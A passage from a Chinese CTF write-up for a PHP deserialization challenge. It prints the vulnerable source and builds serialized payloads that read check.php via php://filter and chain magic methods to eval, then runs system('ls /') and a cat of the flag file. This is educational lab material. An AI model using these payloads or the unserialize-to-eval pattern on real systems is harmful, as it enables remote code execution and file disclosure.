当前位置: 首页 > news >正文

愚人杯-web-被遗忘的反序列化

<?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
    public $text;
    public $eeee;
    public function __wakeup(){
        if ($this->text == "aaaa"){
            echo lcfirst($this->text);
        }
    }

    public function __get($kk){
        echo "$kk,eeeeeeeeeeeee";
    }

    public function __clone(){
        $a = new cycycycy;
        $a -> aaa();
    }
    
}

class cycycycy{
    public $a;
    private $b;

    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }


    public function __invoke(){
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}

class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }

    public function __destruct(){
        echo $this->aaa;
    }

    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

首先代码审计得定义了4个类,包含了check.php文件


class cycycycy{
    public $a;
    private $b;

    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }


    public function __invoke(){
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}

这里有命令执行漏洞,是解题的关键,需要get=p8vfuv8g8v8py,但尝试后发现并可以,应该是中间用了加密方式,所以先看看check.php里有什么。

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";

把读取file的内容给key,然后结束时显示aaa,这里我们就要让aaa和key的内容一样我们才能看到内容,所以要让aaa成为key的引用来绑定他们俩,这样key是啥aaa就是啥

<?php

class w_wuw_w{
    public $aaa;
    public $key;
    public $file="php://filter/convert.base64-encode/resource=check.php";

}
$a=new w_wuw_w();
$a->aaa=&$a->key;
echo serialize($a);

得到结果 O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";R:2;s:4:"file";s:53:"php://filter/convert.base64-encode/resource=check.php";}

然后要在http请求头AAAAAA中反序列化,有两种方法

1 hackber 在add Header中,payload

AAAAAA: O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";R:2;s:4:"file";s:53:"php://filter/convert.base64-encode/resource=check.php";}(注意冒号后有一个空格)

2 抓包,在请求头中添加上述payload

base64解码得

<?php

function cipher($str) {

    if(strlen($str)>10000){
        exit(-1);
    }

    $charset = "qwertyuiopasdfghjklzxcvbnm123456789";
    $shift = 4;
    $shifted = "";

    for ($i = 0; $i < strlen($str); $i++) {
        $char = $str[$i];
        $pos = strpos($charset, $char);

        if ($pos !== false) {
            $new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
            $shifted .= $charset[$new_pos];
        } else {
            $shifted .= $char;
        }
    }

    return $shifted;
}

果然和上面说的一样,将get参数进行凯撒加密,直接让deepseek生成一个加密脚本

<?php
function reverse_cipher($target) {
    $charset = "qwertyuiopasdfghjklzxcvbnm123456789";
    $shift = 4; // 原函数是 -4,逆向需 +4
    $result = "";
    for ($i = 0; $i < strlen($target); $i++) {
        $char = $target[$i];
        $pos = strpos($charset, $char);
        if ($pos !== false) {
            $new_pos = ($pos + $shift) % strlen($charset); // 反向位移
            $result .= $charset[$new_pos];
        } else {
            $result .= $char;
        }
    }
    return $result;
}

$get_value = reverse_cipher("p8vfuv8g8v8py");
echo "GET 参数值: ?get=" . $get_value . "\n";
?>

得到?get=fe1ka1ele1efp,这样就满足了强比较相等的条件,然后分析

漏洞利用链分析

完整的利用链如下(这也是deepseek说的):

  1. 反序列化入口:通过HTTP_AAAAAA头传入恶意序列化数据

  2. 触发__wakeupw_wuw_w对象的__wakeup方法执行

  3. 触发__destruct:PHP脚本结束时自动调用

  4. 触发__toString:当echo $this->aaa时,如果aaagBoBg对象

  5. 触发__invokegBoBg__toString调用$aa()时触发

  6. 触发__clonew_wuw_w__invoke克隆EeE对象

  7. 执行关键代码EeE__clone创建cycycycy并调用aaa()

  8. RCEcycycycyaaa()执行eval($_POST["eval"])

这里解释一下第4点和第5点

__toString:“__toString”是PHP中一个魔法方法,当尝试将一个对象当作字符串使用时,该方法会被自动调用。

 在 w_wuw_w 类中
public function __destruct() {
    echo $this->aaa;  // 如果 $this->aaa 是 gBoBg 对象,会触发 __toString
}

echo 一个对象时,PHP会尝试将其转为字符串如果类定义了 __toString,就会调用该方法这是对象到字符串的自动转换机制。

__invoke”是一种特殊的魔术方法,它在PHP等编程语言中用于实现对象的调用操作。当一个对象被当作函数调用时,就会触发__invoke方法,从而可以定义对象被调用时的行为,实现类似函数的功能。

public function __toString() {
    if(isset($this->name)) {
        // 情况1
        $a = new $this->coos($this->file);
        echo $a;
    } else if(!isset($this->file)) {
        // 情况2
        return $this->coos->name;
    } else {
        // 情况3 - 这里会触发 __invoke
        $aa = $this->coos;
        $bb = $this->file;
        return $aa(); // 将 $aa(即 $this->coos)当作函数调用
    }
}

为了到达w_wuw_w 需要绕过两个if判断,name不赋值,file随便赋值,然后$aa会触发__invoke。

payload

<?php
 
class EeE{
    public $text;
    public $eeee;
    
}
 
class cycycycy{
    public $a;
    private $b;
 
}
 
class gBoBg{
    public $name;
    public $file=1;
    public $coos;
 
}   
 
class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
}
       
 
$a = new EeE();
$b = new cycycycy();
$c = new gBoBg();
$d = new w_wuw_w();
$c->coos=$d;
$d->aaa=$c;
 
echo serialize($d);

O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";i:1;s:4:"coos";r:1;}s:3:"key";N;s:4:"file";N;}

然后后面我用的抓包写的

把AAAAAA后面的内容改为上面的payload,在将数据包改为POST请求,加一个?get=fe1ka1ele1efp

eval=system('ls /');

eval=system(cat /f1agaaa);得到flag

 

相关文章:

  • [数学]关于组合数
  • 蓝桥杯比赛python程序设计——班级活动
  • 【前端】一文掌握 Vue 3 指令用法(vue3 备忘清单)
  • 字符串复习
  • scss报错Sass @import rules are deprecated and will be removed in Dart Sass 3.0.0
  • 如何加强 SSH 安全:内网和专用网络环境下的防护策略
  • Linux中的文件寻址
  • 脚手架 + 指令
  • 山东大学软件学院项目创新实训开发日志(4)之中医知识问答数据存储、功能结构、用户界面初步设计
  • 语义分析(编译原理)
  • Springcache+xxljob实现定时刷新缓存
  • Linux文件描述符的分配机制与重定向实现:揭开“一切皆文件”的面纱
  • 使用卷积神经网络识别MNIST数据集
  • AI与.NET技术实操系列(三):在 .NET 中使用大语言模型(LLMs)
  • YOLOSCM: 基于改进YOLO算法的车辆检测模型详解
  • [动规21] 乘积最大子数组 #medium
  • Qt使用QGraphicsView绘制线路图————附带详细实现代码
  • rk3586开发版新增系统调用(Android13)
  • Altium Designer 24 PCB 走线倒圆弧方法
  • 23 推导式
  • 做商城网站要哪些流程/百度广告联盟平台的使用知识
  • 网站平台搭建要多少/企业推广软件
  • 家居网站建设/留电话的广告网站
  • 网站建设策划书心得/seo专业论坛
  • 学慧网的网站是谁家做的/seo服务包括哪些
  • 多肉建设网站的目的及功能定位/互联网营销怎么赚钱